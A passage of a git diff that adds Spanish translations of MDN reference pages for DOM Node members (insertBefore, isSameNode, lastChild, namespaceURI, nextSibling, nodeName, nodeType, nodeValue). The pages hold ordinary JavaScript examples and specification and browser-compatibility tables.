+<p><code>referenceNode</code> <strong>no</strong> es un parámetro opcional -- debes pasar explícitamente un <code>Node</code> o <code>null</code>. No proporcionándolo o pasando valores no válidos podría provocar un <a href="https://code.google.com/p/chromium/issues/detail?id=419780">comportamiento</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=119489">distinto</a> en diferentes versiones de navegadores.</p>
+</div>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El valor devuelto es el hijo añadido excepto cuando <code>newNode</code> es un {{domxref("DocumentFragment")}}, en cuyo caso se devuelve un {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Ejemplo_1">Ejemplo 1</h3>
+
+<pre class="brush: html">&lt;div id="parentElement"&gt;
+   &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Crear el nodo a insertar
+var newNode = document.createElement("span");
+
+// Obtener una referencia al nodo padre
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Comienzo del test [ 1 ] : Existe un childElement --&gt; Todo funciona correctamente
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// Fin del test [ 1 ]
+
+// Comienzo del test [ 2 ] : childElement no es del tipo undefined
+var sp2 = undefined; // No existe un nodo con id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// Fin del test [ 2 ]
+
+// Comienzo del test [ 3 ] : childElement es de Tipo "undefined" ( string )
+var sp2 = "undefined"; // No existe un nodo con id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Genera "Type Error: Invalid Argument"
+// Fin del test [ 3 ]
+&lt;/script&gt;
+</pre>
+
+<h3 id="Ejemplo_2">Ejemplo 2</h3>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Crea un nuevo, elemento &lt;span&gt;
+var sp1 = document.createElement("span");
+
+// Obtener una referencia al elemento, antes de donde queremos insertar el elemento
+var sp2 = document.getElementById("childElement");
+// Obtener una referencia al nodo padre
+var parentDiv = sp2.parentNode;
+
+// Inserta un nuevo elemento en el DOM antes de sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>No existe el método <code>insertAfter()</code>.  Puede ser emulado mediante la combinación del método con {{domxref("Node.nextSibling()")}}.</p>
+
+<p>En el ejemplo anterior, <code>sp1</code> podría insertarse después de <code>sp2</code> usando:</p>
+
+<pre class="brush: js"><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>Si <code>sp2</code> no tiene ningún hermano depués de él, entonces debe ser el último hijo — <code>sp2.nextSibling</code> devuelve <code>null</code>, y <code>sp1</code> se inserta al final de la lista de nodos hijos (inmediatamente después de <code>sp2</code>).</p>
+
+<h3 id="Ejemplo_3">Ejemplo 3</h3>
+
+<p>Inserta un elemento antes del primer elemento hijo, utilizando la propiedad <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a>.</p>
+
+<pre class="brush:js">// Obtener una referencia al elemento en el que se quiere insertar un nuevo nodo
+var parentElement = document.getElementById('parentElement');
+// Obtener una referencia al primer hijo
+var theFirstChild = parentElement.firstChild;
+
+// Crear un nuevo elemento
+var newElement = document.createElement("div");
+
+// Insertar el nuevo elemento antes que el primer hijo
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>Cuando el elemento no tiene ub primer hijo, entonces <code style="font-style: normal; line-height: 1.5;">firstChild</code><span style="line-height: 1.5;"> es </span><code style="font-style: normal; line-height: 1.5;">null</code><span style="line-height: 1.5;">. Aun así, el elemento se añade al padre después del último hijo. Puesto que el elemento padre no tenía primer hijo, tampoco tiene último hijo. Por tanto, el nuevo elemento es el único elemento después de ser insertado.</span></p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Node.insertBefore")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Corrige errores en el algoritmo de inserción</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Describe el algoritmo con mayor detalle</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios notables</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios notables</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Introducido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+</ul>
diff --git a/files/es/web/api/node/issamenode/index.html b/files/es/web/api/node/issamenode/index.html
new file mode 100644
index 0000000000..205b6fd222
--- /dev/null
+++ b/files/es/web/api/node/issamenode/index.html
@@ -0,0 +1,110 @@
+---
+title: Node.isSameNode()
+slug: Web/API/Node/isSameNode
+translation_of: Web/API/Node/isSameNode
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<p><code><strong>Node.isSameNode()</strong></code> comprueba si dos nodos son iguales, es decir si hacen referencia al mismo objecto.</p>
+
+<div class="note">
+<p><strong>Warning:</strong> This method is no longer implemented in recent browsers.</p>
+
+<pre class="brush:js">// Instead of using
+node1.isSameNode(node2)
+
+// use
+node1 === node2 // or
+node1 == node2</pre>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>isSameNode</em> = <em>node</em>.isSameNode(<em>other</em>);
+</pre>
+
+<ul>
+ <li><code>other</code> El nodo contra el cual se realiza la comparación.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Eliminado de la especificación.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-isSameNode', 'Node.isSameNode()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}} {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatNo}} {{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{domxref("Node.isEqualNode()")}}</li>
+</ul>
diff --git a/files/es/web/api/node/lastchild/index.html b/files/es/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..0228c3264c
--- /dev/null
+++ b/files/es/web/api/node/lastchild/index.html
@@ -0,0 +1,65 @@
+---
+title: Node.lastChild
+slug: Web/API/Node/lastChild
+tags:
+  - API
+  - DOM
+  - NecesitaCompatibilidadNavegador
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Node/lastChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de sólo lectura <code><strong>Node.lastChild</strong></code> devuelve el último hijo del nodo. Si su padre es un elemento, entonces el hijo es generalmente un nodo de element, nodo de texto o un nodo de comentario. Devuelve <code>null</code> si no hay elementos hijos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>nodoHijo</em>= <var>nodo</var>.lastChild;
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-lastchild', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegador">Compatibilidad en navegador</h2>
+
+
+
+<p>{{Compat("api.Node.lastChild")}}</p>
diff --git a/files/es/web/api/node/namespaceuri/index.html b/files/es/web/api/node/namespaceuri/index.html
new file mode 100644
index 0000000000..f24b54d713
--- /dev/null
+++ b/files/es/web/api/node/namespaceuri/index.html
@@ -0,0 +1,145 @@
+---
+title: Node.namespaceURI
+slug: Web/API/Node/namespaceURI
+tags:
+  - API
+  - DOM
+  - NecesitaCompatilibidadNavegador
+  - Propiedad
+  - Referencia
+  - obsoleta
+translation_of: Web/API/Node/namespaceURI
+---
+<div>{{APIRef("DOM")}}{{obsolete_header}}</div>
+
+<p>La propiedad de solo lectura <code><strong>Nodo.namespaceURI</strong></code> devuelve la URI del nodo, o null en caso de que el nodo no tenga espacio de nombres. Cuando el nodo es un documento, este devuelve el espacio de nombres del XML para el documento actual.</p>
+
+<div class="warning">
+<p>En DOM4 esta API fué movida desde <code>Node</code> a las interficies {{domxref("Element")}} y {{domxref("Attr")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>namespace</var> = <var>node</var>.namespaceURI</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este fragmento, un nodo esá siendo examinado por su {{domxref("Node.localName")}} y <code>namespaceURI</code>. Si el <code>namespaceURI</code> devuelve el nombre de espaciosXUL y el <code>localName</code> devuelve "browser", entonces el nodo es entendido  a ser un XUL <code>&lt;browser/&gt;</code>.</p>
+
+<pre class="brush:js">if (node.localName == "browser" &amp;&amp;
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // Este es un navegador XUL
+}</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Este no es un valor calculado que es el resultado de una búsqueda del espacio de nombres basada en la examinación de las declaraciones de un espacio de nombres en el ámbito. El espacio de nombres URI de un nodo es congelado ene l momento de su creación.</p>
+
+<p>En Firefox 3.5 y anteriores, el espacio de nombres URI para los elementos HTML en los Documents HTML es <code>null</code>. En versiones psoteriores, en conformidad con HTML5, es <code><a class="external" href="https://www.w3.org/1999/xhtml" rel="freelink">https://www.w3.org/1999/xhtml</a></code> como en XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Para nodos de cualquier {{domxref("Node.nodeType")}} distintos de <code>ELEMENT_NODE</code> y <code>ATTRIBUTE_NODE</code> el valor de <code>namespaceURI</code> es siempre <code>null</code>.</p>
+
+<p>Puedes crear un elemento con un <code>namespaceURI</code> concreto creando un método DOM de nivel 2 {{domxref("Document.createElementNS")}} y atributos con el método {{domxref("Element.setAttributeNS")}}.</p>
+
+<p>Para la especificación <a class="external" href="https://www.w3.org/TR/xml-names11/">Namespaces in XML</a>, un atributo no hereda su espacio de nombres del elemento al que está sujeto. Si un atributo no es dado de manera explícita como espacio de nombres, entonces no los tiene.</p>
+
+<p>El DOM no controla ni impone la validación del espacio de nombres. Depende de la aplicación DOM de hacer cualquier tipo de validación necesaria. Destacar también que el prefijo de espacio de nombre, una vez es asociado a un nodo enparticular, no puede ser modificado.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Specifies the behavior when it's set to <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Namespaces-Considerations", "DOM Level 2 Core: XML Namespaces")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}}46.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup><br>
+    {{CompatNo}} {{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup><br>
+    {{CompatNo}} {{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta API fue movida a las APIs {{domxref("Element")}} y {{domxref("Attr")}} de acuerdo con el standard de DOM4.</p>
+
+<p>[2] Antes de Gecko 5.0 {{geckoRelease("5.0")}}, esta propiedad era de lectura-escritura; empezando con Gecko 5.0  es sólo lectura, siguiendo la especificación.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.localName")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+</ul>
diff --git a/files/es/web/api/node/nextsibling/index.html b/files/es/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..188357f9c6
--- /dev/null
+++ b/files/es/web/api/node/nextsibling/index.html
@@ -0,0 +1,87 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Nodo
+  - Propiedad
+translation_of: Web/API/Node/nextSibling
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de sólo lectura <strong><code>Node.nextSibling</code></strong> devuelve el siguiente nodo con respecto al indicado en la lista de nodos ({{domxref("Node.childNodes","childNodes")}}) a la que este pertenece o <code>null</code> si el nodo especificado es el último en dicha lista.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>siguienteNodo</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<div>
+
+<div><p>Gecko-based browsers insert text nodes into a document to represent whitespace in the source markup.
+    Therefore a node obtained, for example, using <a href="/es/docs/Web/API/Node/firstChild" title="The Node.firstChild read-only property returns the node's first child in the tree, or null if the node has no children."><code>Node.firstChild</code></a> or <a href="/es/docs/Web/API/Node/previousSibling" title="La propiedad de sólo-lectura Node.previousSibling devuelve el nodo inmediatamente anterior al especificado en la lista de nodos childNodes de su padre, o null si el nodo especificado es el primero en dicha lista."><code>Node.previousSibling</code></a> may refer to a
+    whitespace text node rather than the actual element the author intended to get.</p>
+
+    <p>See <a href="/en-US/docs/Web/Guide/DOM/Whitespace_in_the_DOM">Whitespace in the DOM</a> and
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>
+    for more information.</p></div>
+
+<p>{{domxref("Element.nextElementSibling")}} debe ser utilizado para obtener el siguiente elemento ignorando cualquier nodo en blanco.</p>
+</div>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:html">&lt;div id="div-01"&gt;Este es el div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Este es el div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Hermanos de div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+&lt;/script&gt;
+
+/**************************************************
+  Lo siguiente se escribe en la consola cuando carga:
+
+      Nodos hermanos del div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>En el ejemplo anterior, se puede observar que los nodos <code>#text</code> se insertan en el DOM, donde se produce un espacio en blanco en el marcado entre las etiquetas (es decir, después de la etiqueta de cierre de un elemento y antes de la etiqueta de apertura del siguiente). No se crea ningún espacio en blanco entre los elementos insertados por la sentencia <code>document.write</code>.</p>
+
+<p>La posible inclusión de los nodos de texto en el DOM se debe permitir cuando se atraviese el DOM utilizando <code>nextSibling</code>. Vea los recursos en la sección Notas.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a></li>
+</ul>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Node.nextSibling")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/es/web/api/node/nodename/index.html b/files/es/web/api/node/nodename/index.html
new file mode 100644
index 0000000000..5865b21e21
--- /dev/null
+++ b/files/es/web/api/node/nodename/index.html
@@ -0,0 +1,107 @@
+---
+title: element.nodeName
+slug: Web/API/Node/nodeName
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Node/nodeName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nombre del nodo actual, en forma de cadena.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var<em>str</em> =<em>node</em>.nodeName;
+</pre>
+
+<p><code>str</code> es una variable de cadena en la que se almacena el nombre del elemento actual.</p>
+
+<p><code>nodeName</code> es un atributo de solo-lectura.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Aquí tenemos el valor devuelto por varios tipos de nodo.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th class="header" style="text-align: center;">Interfaz</th>
+   <th class="header" style="text-align: center;">nodeName</th>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/Attr">Attr</a></td>
+   <td>igual que <code><a href="es/DOM/Attr.name">Attr.name</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/CDATASection">CDATASection</a></td>
+   <td>"#cdata-section"</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/Comment">Comment</a></td>
+   <td>"#comment"</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/document">Document</a></td>
+   <td>"#document"</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/DocumentFragment">DocumentFragment</a></td>
+   <td>"#document-fragment"</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/DocumentType">DocumentType</a></td>
+   <td>igual que <code><a href="es/DOM/DocumentType.name">DocumentType.name</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/element">Element</a></td>
+   <td>igual que <code><a href="es/DOM/element.tagName">Element.tagName</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/Entity">Entity</a></td>
+   <td>nombre de entity</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/EntityReference">EntityReference</a></td>
+   <td>nombre de la identidad de referencia</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/Notation">Notation</a></td>
+   <td>nombre de la notación</td>
+  </tr>
+  <tr>
+   <td><a href="es/DOM/ProcessingInstruction">ProcessingInstruction</a></td>
+   <td>igual que <code><a href="es/DOM/ProcessingInstruction.target">ProcessingInstruction.target</a></code></td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>"#text"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p>Dado el siguiente código:</p>
+
+<pre>&lt;div id="d1"&gt;hola mundo&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+
+<p>y el siguiente script:</p>
+
+<pre>var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+text_field.value = div1.nodeName;
+</pre>
+
+<p>En XHTML (o alguna otra forma de XML) el valor de <code>text_field</code> será "div". Sin embargo, en HTML, el valor de <code>text_field</code> sería "DIV".</p>
+
+<p>Ten en cuenta que podríamos haber usado la propiedad <code><a href="es/DOM/element.tagName">tagName</a></code> en su lugar, ya que <code>nodeName</code> tiene el mismo valor que <code>tagName</code> para un elemento. Presta atención, sin embargo, a que <code>nodeName</code> devolverá <code>#text</code> para los nodos de texto, mientras que <code>tagName</code> devolverá <code>undefined</code>.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></p>
diff --git a/files/es/web/api/node/nodetype/index.html b/files/es/web/api/node/nodetype/index.html
new file mode 100644
index 0000000000..1a1f28ac39
--- /dev/null
+++ b/files/es/web/api/node/nodetype/index.html
@@ -0,0 +1,95 @@
+---
+title: Node.nodeType
+slug: Web/API/Node/nodeType
+translation_of: Web/API/Node/nodeType
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div>La propiedad de solo lectura <code style="font-style: normal;"><strong>Node.nodeType</strong></code> retornará un valor positivo entero representando el tipo de nodo.</div>
+
+<div> </div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>type</var> = <var>node</var>.nodeType;
+</pre>
+
+<p>la variable type será un entero positivo con alguno de los siguientes valores:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Element"><code>ELEMENT_NODE</code></a></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Text"><code>TEXT_NODE</code></a></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ProcessingInstruction"><code>PROCESSING_INSTRUCTION_NODE</code></a></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.createComment"><code>COMMENT_NODE</code></a></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/HTML/Element/html"><code>DOCUMENT_NODE</code></a></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.doctype"><code>DOCUMENT_TYPE_NODE</code></a></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/DocumentFragment"><code>DOCUMENT_FRAGMENT_NODE</code></a></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>12</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Este es un ejemplo que verifica si el primer nodo dentro de un elemento tipo documento (document) es un comentario nodo, y si no lo es, muestra un mensaje.</p>
+
+<pre class="brush: js">var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("You should comment your code well!");
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-111237558">DOM Level 2 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-111237558">DOM Level 3 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#node">DOM Standard</a></li>
+</ul>
diff --git a/files/es/web/api/node/nodevalue/index.html b/files/es/web/api/node/nodevalue/index.html
new file mode 100644
index 0000000000..418cecdb77
--- /dev/null
+++ b/files/es/web/api/node/nodevalue/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.nodeValue
+slug: Web/API/Node/nodeValue
+translation_of: Web/API/Node/nodeValue
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propiedad <code><strong>Nodo.nodeValue</strong></code> devuelve o actualiza el valor del nodo actual.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>valor</em>= <var>nodo</var>.nodeValue;
+</pre>
+
+<p><code>valor</code> es una cadena contenedora del valor del nodo actual, si es que tiene alguno.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
